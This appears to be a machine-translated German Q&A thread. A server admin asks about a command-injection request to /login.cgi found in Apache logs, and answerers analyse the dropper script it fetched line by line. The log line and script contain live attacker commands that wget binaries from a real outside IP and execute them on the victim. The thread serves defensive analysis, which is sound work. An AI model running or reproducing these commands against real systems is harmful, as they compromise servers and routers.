Ich habe auf den Apache-Protokollen meines Servers in letzter Zeit die folgenden seltsamen Zeilen bemerkt:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Also habe ich einen benutzerdefinierten Fail2Ban-Filter erstellt und angefangen, die IPs zu verbannen, die diese /login.cgi-URLs anfordern.
Aber ich war neugierig, was sie zu tun versuchten, also zog ich das Skript, das sie auszuführen versuchten, und ich kann nicht scheinen, herauszufinden, was genau es tut. Etwas über das Entfernen von Arch-Ordnern in / var und / tmp?
Wie auch immer, hier ist es:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
wo$name
ist jeder der CPU - Architekturen inbin_names
. Also werden 7 Angriffsskripte heruntergeladen und ausgeführtAntworten:
Zeile für Zeile:
Legt die
sh
Schale, je nachdem was ist, als Shebang-Linie fest.sh%20/tmp/ks
In der Anforderung wird dies überschrieben, sodass diese Zeile als normaler Kommentar behandelt und ignoriert wird.Deklariert einen beliebigen Namen, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin mir nicht sicher, warum sie nicht nur verwenden würden
mktemp
, aber vielleicht ist das nicht auf allen Plattformen verfügbar.Zählt mehrere gängige CPU-Architekturen auf.
Der Server, der den Exploit hat.
Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich bin davon überzeugt, dass SELinux hier Abhilfe schaffen wird, indem es viel strengere Regeln für die Funktionen des Webservers als für das Dateisystem selbst auferlegt.
Für jede CPU-Architektur ...
Entfernt zuvor ausprobierte Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.
Kopiert die aktuelle ausführbare Shell-Datei (
/bin/sh
). Kann wegen der Zeile nach dem nächsten ignoriert werden.Ermöglicht allen Benutzern den vollständigen Zugriff auf die neue Datei. Dies sollte nach dem
wget
Befehl geschehen sein, der entweder ein Zeichen für einen Neuling in der Shell-Skripterstellung oder eine Fehlleitungstechnik ist.Leert die Datei aus. Sinnlos wegen der nächsten Zeile.
Überschreibt die Datei mit dem Exploit-Skript für diese Architektur.
-O -> $u
hätte geschrieben werden können-O - > $u
(der Bindestrich gibt an, dass der Download in die Standardausgabe geschrieben werden soll), was äquivalent zu ist-O $u
.Führt das Exploit-Skript mit der Architektur als erstem Argument aus.
Beendet die Schleife.
Es sieht so aus, als wäre dies ein einfaches Exploit-Versuchsskript, mit dem bekannte Exploits auf verschiedenen CPU-Plattformen ausprobiert werden. Ich weiß nicht, warum es
$u
dreimal überschreibt , aber diese Operationen könnten einfach von einer früheren Iteration des Skripts stammen. Vermutlich waren die Exploits in früheren Versionen eher hartcodiert als dynamisch bereitgestellt - Ersteres ist einfacher, garantiert jedoch, dass das Skript im Laufe der Zeit weniger effektiv ist, da Fehler behoben werden.quelle
->
derwget
Befehl? Warum nicht einfachwget ... -O $u
?- >
-O->filename
wird dasfilename
in der Ausgabe von ps ax nicht angezeigt . Dies kann ein Vorteil sein, um das Debuggen zu erschweren.cp
gibt dir eine ausführbare Datei. Möglicherweise nützlich, wenn daschmod
fehlschlägt? Bearbeiten: Angesichts der Tatsache, dass dies anscheinend auf Router abzielt, ist es gut möglich, dass eschmod
das nicht gibt.Das
wget
ist die wichtigste gefährliche Linie.Die
for name in $bin_names
Liste der Plattformen wird durchgearbeitet und für jede Plattform wird ein temporäres Verzeichnis gelöscht, eine Shell kopiert und dann für alle zugänglich gemacht.Anschließend lädt er eine Datei mit herunter
wget
und führt sie dann mit dem Shell-Programm aus, über das er gerade kopiert hat.Das Skript versucht im Grunde genommen, eine Reihe von ausführbaren Dateien oder Skripten für jede Plattform herunterzuladen und sie an Ihrem System zu reiben, in der Hoffnung, dass es Ihr System weiter gefährden kann.
quelle